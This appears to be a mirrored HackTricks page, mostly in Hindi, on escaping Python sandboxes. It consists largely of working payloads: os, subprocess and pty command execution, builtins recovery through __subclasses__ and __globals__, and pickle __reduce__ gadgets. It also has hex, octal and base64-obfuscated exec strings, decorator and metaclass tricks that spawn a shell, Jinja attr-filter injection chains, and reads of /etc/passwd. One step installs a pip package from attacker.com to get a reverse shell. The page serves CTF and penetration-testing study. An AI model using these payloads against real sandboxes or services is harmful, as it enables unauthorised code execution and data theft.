mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1059 lines
74 KiB
Markdown
1059 lines
74 KiB
Markdown
# Bypass Python sandboxes
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
ये कुछ तरकीबें हैं जो पायथन सैंडबॉक्स सुरक्षा को बायपास करने और मनचाहे कमांड को निष्पादित करने के लिए हैं।
|
|
|
|
## Command Execution Libraries
|
|
|
|
पहली बात जो आपको जाननी चाहिए वह यह है कि क्या आप किसी पहले से आयात की गई लाइब्रेरी के साथ सीधे कोड निष्पादित कर सकते हैं, या यदि आप इनमें से किसी भी लाइब्रेरी को आयात कर सकते हैं:
|
|
```python
|
|
os.system("ls")
|
|
os.popen("ls").read()
|
|
commands.getstatusoutput("ls")
|
|
commands.getoutput("ls")
|
|
commands.getstatus("file/path")
|
|
subprocess.call("ls", shell=True)
|
|
subprocess.Popen("ls", shell=True)
|
|
pty.spawn("ls")
|
|
pty.spawn("/bin/bash")
|
|
platform.os.system("ls")
|
|
pdb.os.system("ls")
|
|
|
|
#Import functions to execute commands
|
|
importlib.import_module("os").system("ls")
|
|
importlib.__import__("os").system("ls")
|
|
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
|
|
imp.os.system("ls")
|
|
imp.sys.modules["os"].system("ls")
|
|
sys.modules["os"].system("ls")
|
|
__import__("os").system("ls")
|
|
import os
|
|
from os import *
|
|
|
|
#Other interesting functions
|
|
open("/etc/passwd").read()
|
|
open('/var/www/html/input', 'w').write('123')
|
|
|
|
#In Python2.7
|
|
execfile('/usr/lib/python2.7/os.py')
|
|
system('ls')
|
|
```
|
|
याद रखें कि _**open**_ और _**read**_ फ़ंक्शन **python sandbox** के अंदर **फाइलें पढ़ने** और **कोड लिखने** के लिए उपयोगी हो सकते हैं जिसे आप **execute** कर सकते हैं ताकि **sandbox** को **bypass** किया जा सके।
|
|
|
|
> [!CAUTION] > **Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले python कोड को execute करने की अनुमति देता है।
|
|
|
|
Python पहले **वर्तमान निर्देशिका से पुस्तकालयों को लोड करने** की कोशिश करता है (निम्नलिखित कमांड यह प्रिंट करेगा कि python मॉड्यूल कहाँ से लोड कर रहा है): `python3 -c 'import sys; print(sys.path)'`
|
|
|
|
.png>)
|
|
|
|
## डिफ़ॉल्ट स्थापित python पैकेज के साथ pickle sandbox को बायपास करें
|
|
|
|
### डिफ़ॉल्ट पैकेज
|
|
|
|
आप यहाँ **पूर्व-स्थापित** पैकेजों की **सूची** पा सकते हैं: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
|
ध्यान दें कि एक pickle से आप python env को **सिस्टम में स्थापित मनमाने पुस्तकालयों** को **import** करने के लिए बना सकते हैं।\
|
|
उदाहरण के लिए, निम्नलिखित pickle, जब लोड किया जाएगा, pip पुस्तकालय को उपयोग करने के लिए import करेगा:
|
|
```python
|
|
#Note that here we are importing the pip library so the pickle is created correctly
|
|
#however, the victim doesn't even need to have the library installed to execute it
|
|
#the library is going to be loaded automatically
|
|
|
|
import pickle, os, base64, pip
|
|
class P(object):
|
|
def __reduce__(self):
|
|
return (pip.main,(["list"],))
|
|
|
|
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
|
```
|
|
अधिक जानकारी के लिए कि pickle कैसे काम करता है, इसे देखें: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
|
|
|
### Pip पैकेज
|
|
|
|
ट्रिक साझा की गई **@isHaacK** द्वारा
|
|
|
|
यदि आपके पास `pip` या `pip.main()` तक पहुंच है, तो आप एक मनमाना पैकेज स्थापित कर सकते हैं और एक रिवर्स शेल प्राप्त कर सकते हैं:
|
|
```bash
|
|
pip install http://attacker.com/Rerverse.tar.gz
|
|
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
|
```
|
|
आप पैकेज को रिवर्स शेल बनाने के लिए यहाँ डाउनलोड कर सकते हैं। कृपया ध्यान दें कि इसका उपयोग करने से पहले आपको **इसे डिकंप्रेस करना चाहिए, `setup.py` को बदलना चाहिए, और रिवर्स शेल के लिए अपना IP डालना चाहिए**:
|
|
|
|
{{#file}}
|
|
Reverse.tar (1).gz
|
|
{{#endfile}}
|
|
|
|
> [!NOTE]
|
|
> इस पैकेज का नाम `Reverse` है। हालाँकि, इसे इस तरह से तैयार किया गया है कि जब आप रिवर्स शेल से बाहर निकलते हैं तो बाकी इंस्टॉलेशन विफल हो जाएगा, इसलिए आप **सर्वर पर कोई अतिरिक्त पायथन पैकेज स्थापित नहीं करेंगे** जब आप बाहर निकलेंगे।
|
|
|
|
## पायथन कोड का मूल्यांकन करना
|
|
|
|
> [!WARNING]
|
|
> ध्यान दें कि exec मल्टीलाइन स्ट्रिंग और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जांच करें)
|
|
|
|
यदि कुछ वर्ण निषिद्ध हैं, तो आप **hex/octal/B64** प्रतिनिधित्व का उपयोग करके **प्रतिबंध को बायपास** कर सकते हैं:
|
|
```python
|
|
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
|
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
|
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
|
|
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
|
|
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
|
|
#One liners that allow new lines and tabs
|
|
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
|
|
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
|
|
```
|
|
|
|
```python
|
|
#Octal
|
|
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
|
|
#Hex
|
|
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
|
|
#Base64
|
|
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
|
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
|
```
|
|
### अन्य पुस्तकालय जो पायथन कोड को eval करने की अनुमति देते हैं
|
|
```python
|
|
#Pandas
|
|
import pandas as pd
|
|
df = pd.read_csv("currency-rates.csv")
|
|
df.query('@__builtins__.__import__("os").system("ls")')
|
|
df.query("@pd.io.common.os.popen('ls').read()")
|
|
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
|
|
|
# The previous options work but others you might try give the error:
|
|
# Only named functions are supported
|
|
# Like:
|
|
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
|
```
|
|
## ऑपरेटर और छोटे ट्रिक्स
|
|
```python
|
|
# walrus operator allows generating variable inside a list
|
|
## everything will be executed in order
|
|
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
|
|
[a:=21,a*2]
|
|
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
|
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
|
```
|
|
## सुरक्षा को एन्कोडिंग (UTF-7) के माध्यम से बायपास करना
|
|
|
|
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाने python कोड को लोड और निष्पादित करने के लिए किया जाता है:
|
|
```python
|
|
assert b"+AAo-".decode("utf_7") == "\n"
|
|
|
|
payload = """
|
|
# -*- coding: utf_7 -*-
|
|
def f(x):
|
|
return x
|
|
#+AAo-print(open("/flag.txt").read())
|
|
""".lstrip()
|
|
```
|
|
यह अन्य एन्कोडिंग का उपयोग करके बायपास करना भी संभव है, जैसे कि `raw_unicode_escape` और `unicode_escape`।
|
|
|
|
## कॉल के बिना पायथन निष्पादन
|
|
|
|
यदि आप एक पायथन जेल के अंदर हैं जो **आपको कॉल करने की अनुमति नहीं देता**, तो **मनमाने फ़ंक्शंस, कोड** और **कमांड** को **निष्पादित** करने के कुछ तरीके अभी भी हैं।
|
|
|
|
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
|
```python
|
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
|
@exec
|
|
@input
|
|
class X:
|
|
pass
|
|
|
|
# The previous code is equivalent to:
|
|
class X:
|
|
pass
|
|
X = input(X)
|
|
X = exec(X)
|
|
|
|
# So just send your python code when prompted and it will be executed
|
|
|
|
|
|
# Another approach without calling input:
|
|
@eval
|
|
@'__import__("os").system("sh")'.format
|
|
class _:pass
|
|
```
|
|
### RCE ऑब्जेक्ट बनाना और ओवरलोडिंग
|
|
|
|
यदि आप **क्लास घोषित** कर सकते हैं और उस क्लास का **ऑब्जेक्ट बना** सकते हैं, तो आप **विभिन्न विधियों को लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकती हैं **बिना** उन्हें **प्रत्यक्ष रूप से कॉल किए**।
|
|
|
|
#### कस्टम क्लासेस के साथ RCE
|
|
|
|
आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
|
|
```python
|
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
|
class RCE:
|
|
def __init__(self):
|
|
self += "print('Hello from __init__ + __iadd__')"
|
|
__iadd__ = exec #Triggered when object is created
|
|
def __del__(self):
|
|
self -= "print('Hello from __del__ + __isub__')"
|
|
__isub__ = exec #Triggered when object is created
|
|
__getitem__ = exec #Trigerred with obj[<argument>]
|
|
__add__ = exec #Triggered with obj + <argument>
|
|
|
|
# These lines abuse directly the previous class to get RCE
|
|
rce = RCE() #Later we will see how to create objects without calling the constructor
|
|
rce["print('Hello from __getitem__')"]
|
|
rce + "print('Hello from __add__')"
|
|
del rce
|
|
|
|
# These lines will get RCE when the program is over (exit)
|
|
sys.modules["pwnd"] = RCE()
|
|
exit()
|
|
|
|
# Other functions to overwrite
|
|
__sub__ (k - 'import os; os.system("sh")')
|
|
__mul__ (k * 'import os; os.system("sh")')
|
|
__floordiv__ (k // 'import os; os.system("sh")')
|
|
__truediv__ (k / 'import os; os.system("sh")')
|
|
__mod__ (k % 'import os; os.system("sh")')
|
|
__pow__ (k**'import os; os.system("sh")')
|
|
__lt__ (k < 'import os; os.system("sh")')
|
|
__le__ (k <= 'import os; os.system("sh")')
|
|
__eq__ (k == 'import os; os.system("sh")')
|
|
__ne__ (k != 'import os; os.system("sh")')
|
|
__ge__ (k >= 'import os; os.system("sh")')
|
|
__gt__ (k > 'import os; os.system("sh")')
|
|
__iadd__ (k += 'import os; os.system("sh")')
|
|
__isub__ (k -= 'import os; os.system("sh")')
|
|
__imul__ (k *= 'import os; os.system("sh")')
|
|
__ifloordiv__ (k //= 'import os; os.system("sh")')
|
|
__idiv__ (k /= 'import os; os.system("sh")')
|
|
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
|
|
__imod__ (k %= 'import os; os.system("sh")')
|
|
__ipow__ (k **= 'import os; os.system("sh")')
|
|
__ilshift__ (k<<= 'import os; os.system("sh")')
|
|
__irshift__ (k >>= 'import os; os.system("sh")')
|
|
__iand__ (k = 'import os; os.system("sh")')
|
|
__ior__ (k |= 'import os; os.system("sh")')
|
|
__ixor__ (k ^= 'import os; os.system("sh")')
|
|
```
|
|
#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
|
|
|
मेटाक्लास हमें जो मुख्य चीज़ करने की अनुमति देती है वह है **क्लास का एक उदाहरण बनाना, बिना सीधे कंस्ट्रक्टर को कॉल किए**, लक्षित क्लास को मेटाक्लास के रूप में उपयोग करके एक नई क्लास बनाकर।
|
|
```python
|
|
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
|
# This will define the members of the "subclass"
|
|
class Metaclass(type):
|
|
__getitem__ = exec # So Sub[string] will execute exec(string)
|
|
# Note: Metaclass.__class__ == type
|
|
|
|
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
|
|
pass # Nothing special to do
|
|
|
|
Sub['import os; os.system("sh")']
|
|
|
|
## You can also use the tricks from the previous section to get RCE with this object
|
|
```
|
|
#### अपवादों के साथ ऑब्जेक्ट बनाना
|
|
|
|
जब एक **अपवाद उत्पन्न होता है** तो **Exception** का एक ऑब्जेक्ट **बनाया जाता है** बिना आपको सीधे कंस्ट्रक्टर को कॉल किए (एक ट्रिक [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) से):
|
|
```python
|
|
class RCE(Exception):
|
|
def __init__(self):
|
|
self += 'import os; os.system("sh")'
|
|
__iadd__ = exec #Triggered when object is created
|
|
raise RCE #Generate RCE object
|
|
|
|
|
|
# RCE with __add__ overloading and try/except + raise generated object
|
|
class Klecko(Exception):
|
|
__add__ = exec
|
|
|
|
try:
|
|
raise Klecko
|
|
except Klecko as k:
|
|
k + 'import os; os.system("sh")' #RCE abusing __add__
|
|
|
|
## You can also use the tricks from the previous section to get RCE with this object
|
|
```
|
|
### अधिक RCE
|
|
```python
|
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
|
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
|
class X:
|
|
def __init__(self, a, b, c):
|
|
self += "os.system('sh')"
|
|
__iadd__ = exec
|
|
sys.excepthook = X
|
|
1/0 #Trigger it
|
|
|
|
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
|
|
# The interpreter will try to import an apt-specific module to potentially
|
|
# report an error in ubuntu-provided modules.
|
|
# Therefore the __import__ functions are overwritten with our RCE
|
|
class X():
|
|
def __init__(self, a, b, c, d, e):
|
|
self += "print(open('flag').read())"
|
|
__iadd__ = eval
|
|
__builtins__.__import__ = X
|
|
{}[1337]
|
|
```
|
|
### बिल्टिन हेल्प और लाइसेंस के साथ फ़ाइल पढ़ें
|
|
```python
|
|
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
|
a = __builtins__.help
|
|
a.__class__.__enter__ = __builtins__.__dict__["license"]
|
|
a.__class__.__exit__ = lambda self, *args: None
|
|
with (a as b):
|
|
pass
|
|
```
|
|
## Builtins
|
|
|
|
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
|
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
|
|
|
यदि आप **`__builtins__`** ऑब्जेक्ट तक पहुँच सकते हैं, तो आप पुस्तकालय आयात कर सकते हैं (ध्यान दें कि आप यहाँ पिछले अनुभाग में दिखाए गए अन्य स्ट्रिंग प्रतिनिधित्व का भी उपयोग कर सकते हैं):
|
|
```python
|
|
__builtins__.__import__("os").system("ls")
|
|
__builtins__.__dict__['__import__']("os").system("ls")
|
|
```
|
|
### No Builtins
|
|
|
|
जब आपके पास `__builtins__` नहीं है, तो आप कुछ भी आयात नहीं कर पाएंगे और न ही फ़ाइलें पढ़ या लिख पाएंगे क्योंकि **सभी वैश्विक फ़ंक्शन** (जैसे `open`, `import`, `print`...) **लोड नहीं होते**।\
|
|
हालांकि, **डिफ़ॉल्ट रूप से पायथन मेमोरी में बहुत सारे मॉड्यूल आयात करता है**। ये मॉड्यूल निर्दोष लग सकते हैं, लेकिन इनमें से कुछ **खतरनाक** कार्यक्षमताएँ भी आयात कर रहे हैं जिन्हें **मनमाने कोड निष्पादन** प्राप्त करने के लिए एक्सेस किया जा सकता है।
|
|
|
|
निम्नलिखित उदाहरणों में आप देख सकते हैं कि कैसे कुछ इस "**निर्दोष**" मॉड्यूल का **दुरुपयोग** किया जा सकता है ताकि उनके अंदर **खतरनाक** **कार्यात्मकताओं** तक **पहुँच** प्राप्त की जा सके।
|
|
|
|
**Python2**
|
|
```python
|
|
#Try to reload __builtins__
|
|
reload(__builtins__)
|
|
import __builtin__
|
|
|
|
# Read recovering <type 'file'> in offset 40
|
|
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
|
|
# Write recovering <type 'file'> in offset 40
|
|
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
|
|
|
|
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
|
|
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
|
|
# Execute (another method)
|
|
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
|
|
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
|
|
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
|
|
|
|
# Or you could obtain the builtins from a defined function
|
|
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
|
```
|
|
#### Python3
|
|
```python
|
|
# Obtain builtins from a globally defined function
|
|
# https://docs.python.org/3/library/functions.html
|
|
help.__call__.__builtins__ # or __globals__
|
|
license.__call__.__builtins__ # or __globals__
|
|
credits.__call__.__builtins__ # or __globals__
|
|
print.__self__
|
|
dir.__self__
|
|
globals.__self__
|
|
len.__self__
|
|
__build_class__.__self__
|
|
|
|
# Obtain the builtins from a defined function
|
|
get_flag.__globals__['__builtins__']
|
|
|
|
# Get builtins from loaded classes
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
|
```
|
|
[**नीचे एक बड़ा फ़ंक्शन है**](#recursive-search-of-builtins-globals) जो आपको **builtins** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** खोजने में मदद करेगा।
|
|
|
|
#### Python2 और Python3
|
|
```python
|
|
# Recover __builtins__ and make everything easier
|
|
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
|
__builtins__["__import__"]('os').system('ls')
|
|
```
|
|
### Builtins payloads
|
|
```python
|
|
# Possible payloads once you have found the builtins
|
|
__builtins__["open"]("/etc/passwd").read()
|
|
__builtins__["__import__"]("os").system("ls")
|
|
# There are lots of other payloads that can be abused to execute commands
|
|
# See them below
|
|
```
|
|
## Globals and locals
|
|
|
|
**`globals`** और **`locals`** की जांच करना यह जानने का एक अच्छा तरीका है कि आप क्या एक्सेस कर सकते हैं।
|
|
```python
|
|
>>> globals()
|
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
|
>>> locals()
|
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
|
|
|
# Obtain globals from a defined function
|
|
get_flag.__globals__
|
|
|
|
# Obtain globals from an object of a class
|
|
class_obj.__init__.__globals__
|
|
|
|
# Obtaining globals directly from loaded classes
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
|
|
[<class 'function'>]
|
|
|
|
# Obtaining globals from __init__ of loaded classes
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
|
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
|
# Without the use of the dir() function
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
|
```
|
|
[**नीचे एक बड़ा फ़ंक्शन है**](#recursive-search-of-builtins-globals) जो आपको **ग्लोबल्स** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** खोजने में मदद करेगा।
|
|
|
|
## मनमाने निष्पादन का पता लगाना
|
|
|
|
यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से **ज़्यादा खतरनाक कार्यक्षमताओं को लोड** किया जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव दिया जा सकता है।
|
|
|
|
#### बायपास के साथ उपकक्षों तक पहुँच
|
|
|
|
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच प्राप्त करना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं:
|
|
```python
|
|
#You can access the base from mostly anywhere (in regular conditions)
|
|
"".__class__.__base__.__subclasses__()
|
|
[].__class__.__base__.__subclasses__()
|
|
{}.__class__.__base__.__subclasses__()
|
|
().__class__.__base__.__subclasses__()
|
|
(1).__class__.__base__.__subclasses__()
|
|
bool.__class__.__base__.__subclasses__()
|
|
print.__class__.__base__.__subclasses__()
|
|
open.__class__.__base__.__subclasses__()
|
|
defined_func.__class__.__base__.__subclasses__()
|
|
|
|
#You can also access it without "__base__" or "__class__"
|
|
# You can apply the previous technique also here
|
|
"".__class__.__bases__[0].__subclasses__()
|
|
"".__class__.__mro__[1].__subclasses__()
|
|
"".__getattribute__("__class__").mro()[1].__subclasses__()
|
|
"".__getattribute__("__class__").__base__.__subclasses__()
|
|
|
|
# This can be useful in case it is not possible to make calls (therefore using decorators)
|
|
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
|
|
|
|
#If attr is present you can access everything as a string
|
|
# This is common in Django (and Jinja) environments
|
|
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
|
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
|
```
|
|
### खतरनाक लोड की गई लाइब्रेरी ढूंढना
|
|
|
|
उदाहरण के लिए, यह जानकर कि लाइब्रेरी **`sys`** के साथ **मनमाने लाइब्रेरी को आयात करना** संभव है, आप सभी **मॉड्यूल की खोज कर सकते हैं जो उनके अंदर sys को आयात करते हैं**:
|
|
```python
|
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 